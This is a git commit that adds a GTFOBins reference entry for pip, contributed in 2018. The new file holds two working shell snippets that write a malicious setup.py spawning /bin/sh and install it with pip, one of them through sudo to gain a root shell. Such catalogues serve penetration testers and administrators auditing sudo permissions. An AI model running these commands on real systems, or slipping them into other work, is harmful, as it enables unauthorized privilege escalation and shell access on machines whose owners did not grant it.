As suggested by #20.
This commit is contained in:
Andrea Cardaci 2018-09-06 18:46:22 +02:00
parent 9c96140f1d
commit 7d9465bd6a

14
_gtfobins/pip.md Normal file
View File

@ -0,0 +1,14 @@
---
description: More generally, this allows to execute arbitrary [Python](/gtfobins/python/) code.
functions:
execute-interactive:
- code: |
TF=$(mktemp -d)
echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
pip install $TF
sudo-enabled:
- code: |
TF=$(mktemp -d)
echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
sudo pip install $TF
---